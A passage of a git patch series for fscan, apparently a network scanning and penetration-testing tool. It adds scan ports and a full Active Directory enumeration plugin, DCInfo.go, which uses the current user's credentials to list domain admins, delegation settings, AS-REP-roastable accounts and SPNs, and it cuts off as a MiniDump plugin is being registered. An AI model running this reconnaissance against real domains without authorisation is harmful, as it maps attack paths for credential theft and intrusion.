h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= @@ -543,7 +582,14 @@ google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+ google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= @@ -552,15 +598,18 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= From ad9cafe0ad03a3068f3e49b912bb8cc207e18150 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 07:49:04 +0800 Subject: [PATCH 150/188] =?UTF-8?q?docs:=20Fscan2.0=E4=BB=8B=E7=BB=8D?= =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Docs/Fscan2.0介绍.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Docs/Fscan2.0介绍.md b/Docs/Fscan2.0介绍.md index bb76e3d..82615a7 100644 --- a/Docs/Fscan2.0介绍.md +++ b/Docs/Fscan2.0介绍.md @@ -2,6 +2,12 @@ 大家好,我是ZacharyZcR,很荣幸能参与Fcan的重构工作,本文档将会带您详细了解Fcan2.0的新特性。 +目前已经完成的新增功能: + +新增Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。 + +新增SYN和UDP端口扫描。 + ## 0x01 代码结构重构 代码架构经过全面重构,现已优化为四个主要模块:Common、Core、Plugins和WebScan。 From 679c25eb38e3fa6e0d1bc11a064421f3e05c2283 Mon Sep 17 00:00:00 2001 From: shadow1ng Date: Mon, 23 Dec 2024 11:11:38 +0800 Subject: [PATCH 151/188] update --- Core/Registry.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Core/Registry.go b/Core/Registry.go index 5468f21..2e9685a 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -57,7 +57,7 @@ func init() { Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", - Ports: []int{3306, 3307}, // MySQL 可能的端口 + Ports: []int{3306, 3307, 13306, 33306}, // MySQL 可能的端口 ScanFunc: Plugins.MysqlScan, }) @@ -147,7 +147,7 @@ func init() { Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", - Ports: []int{3389}, + Ports: []int{3389, 13389, 33389}, ScanFunc: Plugins.RdpScan, }) @@ -165,7 +165,7 @@ func init() { Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", - Ports: []int{6379, 6380}, // Redis 可能的端口 + Ports: []int{6379, 6380, 16379}, // Redis 可能的端口 ScanFunc: Plugins.RedisScan, }) From befaa28bbd06732c903e67bfa4fba71d09194aed Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 28 Dec 2024 05:32:43 +0800 Subject: [PATCH 152/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E5=9F=9F?= =?UTF-8?q?=E7=8E=AF=E5=A2=83=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- go.mod | 2 ++ go.sum | 2 ++ 2 files changed, 4 insertions(+) diff --git a/go.mod b/go.mod index 9b663e3..5950d64 100644 --- a/go.mod +++ b/go.mod @@ -40,6 +40,7 @@ require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/BurntSushi/toml v0.3.1 // indirect + github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/eapache/go-resiliency v1.7.0 // indirect @@ -60,6 +61,7 @@ require ( github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect github.com/jcmturner/gofork v1.7.6 // indirect + github.com/jcmturner/goidentity/v6 v6.0.1 // indirect github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/klauspost/compress v1.17.9 // indirect diff --git a/go.sum b/go.sum index 83a4b47..788d656 100644 --- a/go.sum +++ b/go.sum @@ -148,7 +148,9 @@ github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5m github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTfDNYAP5EtbQSMYjTSqvj1aXJKQRASWq3bwaP+g= +github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= +github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gosnmp/gosnmp v1.38.0 h1:I5ZOMR8kb0DXAFg/88ACurnuwGwYkXWq3eLpJPHMEYc= From 907b92863e6aa0976f4037873265da7366a4ccd3 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 28 Dec 2024 05:43:22 +0800 Subject: [PATCH 153/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E5=9F=9F?= =?UTF-8?q?=E7=8E=AF=E5=A2=83=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/DCInfo.go | 830 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 830 insertions(+) create mode 100644 Plugins/DCInfo.go diff --git a/Plugins/DCInfo.go b/Plugins/DCInfo.go new file mode 100644 index 0000000..62222b2 --- /dev/null +++ b/Plugins/DCInfo.go @@ -0,0 +1,830 @@ +package Plugins + +import ( + "fmt" + "github.com/go-ldap/ldap/v3/gssapi" + "github.com/shadow1ng/fscan/Common" + "log" + "os/exec" + "strconv" + "strings" + + "github.com/go-ldap/ldap/v3" +) + +type DomainInfo struct { + conn *ldap.Conn + baseDN string +} + +func (d *DomainInfo) Close() { + if d.conn != nil { + d.conn.Close() + } +} + +func (d *DomainInfo) GetCAComputers() ([]string, error) { + // 在Configuration容器中查找CA服务器 + searchRequest := ldap.NewSearchRequest( + "CN=Configuration,"+d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectCategory=pKIEnrollmentService))", // CA服务器的查询条件 + []string{"cn", "dNSHostName"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var caComputers []string + for _, entry := range sr.Entries { + cn := entry.GetAttributeValue("cn") + if cn != "" { + caComputers = append(caComputers, cn) + } + } + return caComputers, nil +} + +func (d *DomainInfo) GetExchangeServers() ([]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectCategory=group)(cn=Exchange Servers))", + []string{"member"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var exchangeServers []string + for _, entry := range sr.Entries { + for _, member := range entry.GetAttributeValues("member") { + if member != "" { + exchangeServers = append(exchangeServers, member) + } + } + } + + // 移除第一个条目(如果存在) + if len(exchangeServers) > 1 { + exchangeServers = exchangeServers[1:] + } + + return exchangeServers, nil +} + +func (d *DomainInfo) GetMsSqlServers() ([]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectClass=computer)(servicePrincipalName=MSSQLSvc*))", + []string{"name"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var sqlServers []string + for _, entry := range sr.Entries { + name := entry.GetAttributeValue("name") + if name != "" { + sqlServers = append(sqlServers, name) + } + } + + return sqlServers, nil +} + +func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) { + results := make(map[string][]string) + + // 获取SQL Server + sqlServers, err := d.GetMsSqlServers() + if err == nil && len(sqlServers) > 0 { + results["SQL服务器"] = sqlServers + } + + // 获取CA服务器 + caComputers, err := d.GetCAComputers() + if err == nil && len(caComputers) > 0 { + results["CA服务器"] = caComputers + } + + // 获取域控制器 + dcQuery := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", + []string{"cn"}, + nil, + ) + + if sr, err := d.conn.SearchWithPaging(dcQuery, 10000); err == nil { + var dcs []string + for _, entry := range sr.Entries { + name := entry.GetAttributeValue("cn") + if name != "" { + dcs = append(dcs, name) + } + } + if len(dcs) > 0 { + results["域控制器"] = dcs + } + } + + // 获取Exchange服务器 + exchangeServers, err := d.GetExchangeServers() + if err == nil && len(exchangeServers) > 0 { + results["Exchange服务器"] = exchangeServers + } + + return results, nil +} + +// 获取域用户 +func (d *DomainInfo) GetDomainUsers() ([]string, error) { + + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectCategory=person)(objectClass=user))", + []string{"sAMAccountName"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var users []string + for _, entry := range sr.Entries { + users = append(users, entry.GetAttributeValue("sAMAccountName")) + } + + return users, nil +} + +// 获取域管理员 +func (d *DomainInfo) GetDomainAdmins() ([]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectCategory=group)(cn=Domain Admins))", + []string{"member", "sAMAccountName"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var admins []string + if len(sr.Entries) > 0 { + // 获取组成员 + members := sr.Entries[0].GetAttributeValues("member") + + // 对每个成员DN执行查询以获取其sAMAccountName + for _, memberDN := range members { + memberSearch := ldap.NewSearchRequest( + memberDN, + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(objectClass=*)", + []string{"sAMAccountName"}, + nil, + ) + + memberResult, err := d.conn.Search(memberSearch) + if err != nil { + continue // 跳过出错的成员 + } + + if len(memberResult.Entries) > 0 { + samAccountName := memberResult.Entries[0].GetAttributeValue("sAMAccountName") + if samAccountName != "" { + admins = append(admins, samAccountName) + } + } + } + } + + return admins, nil +} + +// 获取组织单位(OU) +func (d *DomainInfo) GetOUs() ([]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(objectClass=organizationalUnit)", + []string{"ou"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var ous []string + for _, entry := range sr.Entries { + ou := entry.GetAttributeValue("ou") + if ou != "" { + ous = append(ous, ou) + } + } + return ous, nil +} + +func (d *DomainInfo) GetComputers() ([]Computer, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectClass=computer))", + []string{"cn", "operatingSystem", "dNSHostName"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var computers []Computer + for _, entry := range sr.Entries { + computer := Computer{ + Name: entry.GetAttributeValue("cn"), + OperatingSystem: entry.GetAttributeValue("operatingSystem"), + DNSHostName: entry.GetAttributeValue("dNSHostName"), + } + computers = append(computers, computer) + } + return computers, nil +} + +// 定义计算机结构体 +type Computer struct { + Name string + OperatingSystem string + DNSHostName string +} + +// 获取信任域关系 +func (d *DomainInfo) GetTrustDomains() ([]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectClass=trustedDomain))", + []string{"cn", "trustDirection", "trustType"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var trustInfo []string + for _, entry := range sr.Entries { + cn := entry.GetAttributeValue("cn") + if cn != "" { + trustInfo = append(trustInfo, cn) + } + } + return trustInfo, nil +} + +// 获取域管理员组成员 +func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) { + adminGroups := map[string]string{ + "Domain Admins": "(&(objectClass=group)(cn=Domain Admins))", + "Enterprise Admins": "(&(objectClass=group)(cn=Enterprise Admins))", + "Administrators": "(&(objectClass=group)(cn=Administrators))", + } + + results := make(map[string][]string) + + for groupName, filter := range adminGroups { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + filter, + []string{"member"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + continue + } + + if len(sr.Entries) > 0 { + members := sr.Entries[0].GetAttributeValues("member") + if len(members) > 0 { + results[groupName] = members + } + } + } + return results, nil +} + +// 获取委派信息 +func (d *DomainInfo) GetDelegation() (map[string][]string, error) { + delegationQueries := map[string]string{ + "非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", + "约束委派": "(msDS-AllowedToDelegateTo=*)", + "基于资源的约束委派": "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)", + } + + results := make(map[string][]string) + + for delegationType, query := range delegationQueries { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + query, + []string{"cn", "distinguishedName"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + continue + } + + var entries []string + for _, entry := range sr.Entries { + cn := entry.GetAttributeValue("cn") + if cn != "" { + entries = append(entries, cn) + } + } + + if len(entries) > 0 { + results[delegationType] = entries + } + } + return results, nil +} + +// 获取AS-REP Roasting漏洞用户 +func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))", + []string{"sAMAccountName"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var users []string + for _, entry := range sr.Entries { + name := entry.GetAttributeValue("sAMAccountName") + if name != "" { + users = append(users, name) + } + } + return users, nil +} + +// 获取域密码策略 +func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(objectClass=*)", + []string{ + "maxPwdAge", + "minPwdAge", + "minPwdLength", + "pwdHistoryLength", + "pwdProperties", + "lockoutThreshold", + "lockoutDuration", + }, + nil, + ) + + sr, err := d.conn.Search(searchRequest) + if err != nil { + return nil, err + } + + if len(sr.Entries) == 0 { + return nil, fmt.Errorf("未找到密码策略信息") + } + + policy := make(map[string]string) + entry := sr.Entries[0] + + // 转换最大密码期限(负值,以100纳秒为单位) + if maxAge := entry.GetAttributeValue("maxPwdAge"); maxAge != "" { + maxAgeInt, _ := strconv.ParseInt(maxAge, 10, 64) + if maxAgeInt != 0 { + days := float64(maxAgeInt) * -1 / float64(864000000000) + policy["最大密码期限"] = fmt.Sprintf("%.0f天", days) + } + } + + if minLength := entry.GetAttributeValue("minPwdLength"); minLength != "" { + policy["最小密码长度"] = minLength + "个字符" + } + + if historyLength := entry.GetAttributeValue("pwdHistoryLength"); historyLength != "" { + policy["密码历史长度"] = historyLength + "个" + } + + if lockoutThreshold := entry.GetAttributeValue("lockoutThreshold"); lockoutThreshold != "" { + policy["账户锁定阈值"] = lockoutThreshold + "次" + } + + return policy, nil +} + +// 获取SPN信息 +func (d *DomainInfo) GetSPNs() (map[string][]string, error) { + searchRequest := ldap.NewSearchRequest( + d.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, + 0, + false, + "(servicePrincipalName=*)", + []string{"distinguishedName", "servicePrincipalName", "cn"}, + nil, + ) + + sr, err := d.conn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + spns := make(map[string][]string) + for _, entry := range sr.Entries { + dn := entry.GetAttributeValue("distinguishedName") + _ = entry.GetAttributeValue("cn") + spnList := entry.GetAttributeValues("servicePrincipalName") + if len(spnList) > 0 { + key := fmt.Sprintf("[*] SPN:%s", dn) + spns[key] = spnList + } + } + return spns, nil +} + +// 获取域控制器地址 +func getDomainController() (string, error) { + // 先尝试使用 wmic 获取当前域名 + cmd := exec.Command("wmic", "computersystem", "get", "domain") + output, err := cmd.Output() + if err != nil { + return "", fmt.Errorf("获取域名失败: %v", err) + } + + lines := strings.Split(string(output), "\n") + if len(lines) < 2 { + return "", fmt.Errorf("未找到域名") + } + + domain := strings.TrimSpace(lines[1]) + if domain == "" { + return "", fmt.Errorf("域名为空") + } + + // 使用 nslookup 查询域控制器 + cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) + output, err = cmd.Output() + if err != nil { + return "", fmt.Errorf("查询域控制器失败: %v", err) + } + + // 解析 nslookup 输出 + lines = strings.Split(string(output), "\n") + for _, line := range lines { + // 查找包含域控制器主机名的行 + if strings.Contains(line, "svr hostname") { + parts := strings.Split(line, "=") + if len(parts) > 1 { + dcHost := strings.TrimSpace(parts[1]) + // 移除末尾的点号(如果存在) + dcHost = strings.TrimSuffix(dcHost, ".") + return dcHost, nil + } + } + } + + // 如果上述方法失败,尝试直接使用域名前缀加上 DC 后缀 + domainParts := strings.Split(domain, ".") + if len(domainParts) > 0 { + return fmt.Sprintf("dc.%s", domain), nil + } + + return "", fmt.Errorf("无法获取域控制器地址") +} + +func NewDomainInfo() (*DomainInfo, error) { + // 获取域控制器地址 + dcHost, err := getDomainController() + if err != nil { + return nil, fmt.Errorf("获取域控制器失败: %v", err) + } + + // 创建SSPI客户端 + ldapClient, err := gssapi.NewSSPIClient() + if err != nil { + return nil, fmt.Errorf("创建SSPI客户端失败: %v", err) + } + defer ldapClient.Close() + + // 创建LDAP连接 + conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) + if err != nil { + return nil, fmt.Errorf("LDAP连接失败: %v", err) + } + + // 使用GSSAPI进行绑定 + err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") + if err != nil { + conn.Close() + return nil, fmt.Errorf("GSSAPI绑定失败: %v", err) + } + + // 先执行一个根搜索来获取defaultNamingContext + searchRequest := ldap.NewSearchRequest( + "", + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=*)", + []string{"defaultNamingContext"}, + nil, + ) + + result, err := conn.Search(searchRequest) + if err != nil { + conn.Close() + return nil, fmt.Errorf("获取defaultNamingContext失败: %v", err) + } + + if len(result.Entries) == 0 { + conn.Close() + return nil, fmt.Errorf("未找到defaultNamingContext") + } + + baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") + if baseDN == "" { + baseDN = getDomainDN(dcHost) // 使用备选方法 + } + + fmt.Printf("Using BaseDN: %s\n", baseDN) // 添加调试输出 + + return &DomainInfo{ + conn: conn, + baseDN: baseDN, + }, nil +} + +func DCInfoScan(info *Common.HostInfo) (err error) { + // 创建DomainInfo实例,使用当前用户凭据 + di, err := NewDomainInfo() + if err != nil { + log.Fatal(err) + } + defer di.Close() + + // 首先获取特殊计算机列表 + specialComputers, err := di.GetSpecialComputers() + if err != nil { + log.Printf("获取特殊计算机失败: %v", err) + } else { + // 按固定顺序显示结果 + categories := []string{ + "SQL服务器", + "CA服务器", + "域控制器", + "Exchange服务器", + } + + for _, category := range categories { + if computers, ok := specialComputers[category]; ok { + fmt.Printf("[*] %s:\n", category) + for _, computer := range computers { + fmt.Printf("\t%s\n", computer) + } + } + } + fmt.Println() + } + + users, err := di.GetDomainUsers() + if err != nil { + log.Printf("获取域用户失败: %v", err) + return + } + + // 打印用户信息 + fmt.Println("[*] 域用户:") + for _, user := range users { + fmt.Println("\t" + user) + } + + // 获取域管理员 + admins, err := di.GetDomainAdmins() + if err != nil { + log.Printf("获取域管理员失败: %v", err) + return + } + + // 打印域管理员信息 + fmt.Println("[*] 域管理员:") + for _, admin := range admins { + fmt.Println("\t" + admin) + } + + // 获取组织单位 + ous, err := di.GetOUs() + if err != nil { + log.Printf("获取组织单位失败: %v", err) + return + } + + // 打印组织单位信息 + fmt.Println("[*] 组织单位:") + for _, ou := range ous { + fmt.Println("\t" + ou) + } + + // 获取域计算机 + computers, err := di.GetComputers() + if err != nil { + log.Printf("获取域计算机失败: %v", err) + return + } + + // 打印域计算机信息 + fmt.Println("[*] 域计算机:") + for _, computer := range computers { + fmt.Printf("\t%s", computer.Name) + if computer.OperatingSystem != "" { + fmt.Printf(" --> %s", computer.OperatingSystem) + } + fmt.Println() + } + + // 获取并显示信任域关系 + trustDomains, err := di.GetTrustDomains() + if err == nil { + fmt.Println("[*] 信任域关系:") + for _, domain := range trustDomains { + fmt.Printf("\t%s\n", domain) + } + fmt.Println() + } + + // 获取并显示域管理员组信息 + adminGroups, err := di.GetAdminGroups() + if err == nil { + for groupName, members := range adminGroups { + fmt.Printf("[*] %s成员:\n", groupName) + for _, member := range members { + fmt.Printf("\t%s\n", member) + } + fmt.Println() + } + } + + // 获取并显示委派信息 + delegations, err := di.GetDelegation() + if err == nil { + for delegationType, entries := range delegations { + fmt.Printf("[*] %s:\n", delegationType) + for _, entry := range entries { + fmt.Printf("\t%s\n", entry) + } + fmt.Println() + } + } + + // 获取并显示AS-REP Roasting漏洞用户 + asrepUsers, err := di.GetAsrepRoastUsers() + if err == nil { + fmt.Println("[*] AS-REP弱口令账户:") + for _, user := range asrepUsers { + fmt.Printf("\t%s\n", user) + } + fmt.Println() + } + + // 获取并显示域密码策略 + passwordPolicy, err := di.GetPasswordPolicy() + if err == nil { + fmt.Println("[*] 域密码策略:") + for key, value := range passwordPolicy { + fmt.Printf("\t%s: %s\n", key, value) + } + fmt.Println() + } + + // 获取SPN信息 + spns, err := di.GetSPNs() + if err != nil { + log.Printf("获取SPN信息失败: %v", err) + return + } + + // 打印SPN信息 + if len(spns) > 0 { + for dn, spnList := range spns { + fmt.Println(dn) + for _, spn := range spnList { + fmt.Printf("\t%s\n", spn) + } + fmt.Println() + } + } else { + fmt.Println("[*] 未发现SPN信息\n") + } + return nil +} + +// 辅助函数:从服务器地址获取域DN +func getDomainDN(server string) string { + parts := strings.Split(server, ".") + var dn []string + for _, part := range parts { + dn = append(dn, fmt.Sprintf("DC=%s", part)) + } + return strings.Join(dn, ",") +} From ef70395d7d17a76976542a5c4eac2b41bc9f9474 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 28 Dec 2024 05:43:38 +0800 Subject: [PATCH 154/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0MiniDump?= =?UTF-8?q?=E6=8F=92=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + Core/Registry.go | 12 ++ Plugins/MiniDump.go | 287 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 300 insertions(+) create mode 100644 Plugins/MiniDump.go diff --git a/.gitignore b/.gitignore index c466663..8bd5e0a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ result.txt main .idea +fscan.exe diff --git a/Core/Registry.go b/Core/Registry.go index 2e9685a..bfb6733 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -230,4 +230,16 @@ func init() { Ports: []int{}, // 本地信息收集不需要端口 ScanFunc: Plugins.LocalInfoScan, }) + + 